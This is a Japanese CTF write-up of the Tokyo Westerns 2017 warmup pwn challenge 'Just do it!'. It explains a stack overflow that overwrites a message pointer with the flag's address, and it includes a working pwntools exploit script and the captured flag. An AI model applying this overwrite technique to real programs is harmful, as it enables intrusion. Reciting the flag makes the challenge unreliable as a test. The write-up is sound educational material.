TWCTF 2017 [Pwn 23] Just do it!

Tokyo Westerns CTF 2017 の warmup問題です。

観察

セキュリティ機構の確認

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

fileコマンド

 »»»» file just_do_it
just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped

静的解析をしてみると、ebp - 0x20 の位置に入力した文字列が、 ebp - 0xc の位置に間違ったパスワード入力した時に出るメッセージのアドレスが格納されているようです。

また 0x20 - 0xc = 0x14 であり、入力出来る文字数は 0x20 なので ebp - 0xc の位置にフラグの文字列のアドレスを入れると良さそうです。

今回の問題の場合、flagの文字列は 0x0804a080 にあるようなのでそれを入れます。

Exploit

観察 で計画した通りのExploitコードが以下です。

from pwn import *

HOST = "pwn1.chal.ctf.westerns.tokyo"
PORT = 12345
#conn = process("./just_do_it")
conn = remote(HOST, PORT)
payload = "A" * (0x20 - 0xc)
#s obj.flag
#[0x0804a080]>
payload += p32(0x0804a080)
conn.sendline(payload)
conn.stream()

フラグです。

TWCTF{pwnable_warmup_I_did_it!}

余談ですがこの問題は、自分の頭の中ではROPで解いたつもりだったのですが、実際は上記に示すような解法になっていたようです。(とてもアホだった。)